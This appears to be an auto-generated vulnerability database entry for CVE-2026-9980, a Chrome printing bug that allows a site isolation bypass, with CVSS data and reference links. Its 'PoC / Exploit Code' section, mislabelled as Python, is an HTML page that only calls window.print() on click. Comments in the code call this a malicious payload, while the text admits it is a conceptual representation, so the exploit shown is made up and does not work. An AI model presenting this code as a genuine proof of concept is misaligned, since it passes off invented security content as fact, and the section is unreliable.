CVE-2026-9980

Description

Insufficient validation of untrusted input in Printing in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

5.0

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
  Proof of Concept for CVE-2026-9980
  Description: Crafted HTML page demonstrating the insufficient validation in Printing.
  Note: This is a conceptual representation based on the vulnerability description.
-->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-9980 PoC</title>
    <style>
        /* Styling to trigger specific printing rendering paths */
        @media print {
            body { content: "exploit"; }
        }
    </style>
</head>
<body>
    <h1>Site Isolation Bypass via Printing</h1>
    <script>
        // Attempt to exploit the insufficient validation
        function triggerExploit() {
            // Malicious payload targeting the printing process
            window.print();
        }
        
        // Auto-trigger to demonstrate impact (requires user interaction per UI:R)
        document.addEventListener('click', triggerExploit);
    </script>
    <p>Click anywhere to test the print vulnerability.</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9980
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9980
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9980/
[4] VulDB https://vuldb.com/cve/CVE-2026-9980
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/511776372

Raw JSON Data

JSON

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